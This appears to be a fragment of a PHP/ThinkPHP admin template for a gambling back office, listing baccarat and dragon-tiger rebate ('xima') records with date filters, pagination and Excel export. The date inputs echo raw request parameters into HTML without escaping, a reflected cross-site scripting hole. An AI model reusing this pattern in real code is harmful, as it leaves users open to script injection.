<form class="layui-form layui-col-md12 x-so float-left" action="/xima/xima_check" method="get">
<input class="layui-input" placeholder="开始日" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="截止日" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="admin_or_agent" id="admin_or_agent">
<option value="">全部洗码记录</option>
<option value="1" <?php if(isset($get['admin_or_agent']) && $get['admin_or_agent'] == 1) {echo 'selected';} ?>>查询总台操作洗码记录</option>
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>洗码率(百/龙/牛)%</th>
<th>洗码量</th>
<th>洗码费</th>
<th>操作人</th>
<th>洗码时间</th>
<th>备注</th>
</tr>
</thead>
<tbody>
{foreach name="xima_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.ximaliang}</td>
<td>{$vo.maliang}</td>
<td>{$vo.connection_username}</td>
<td>{$vo.create_time}</td>
<td>{$vo.admin_or_agent_msg}</td>
</tr>
{/foreach}
</tbody>
</table>
{$xima_list->render()}
</div>
<script>
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/xima/xima_check?export=1&{$query}";
layer.close(index);
});
})
</script>
</body>
</html>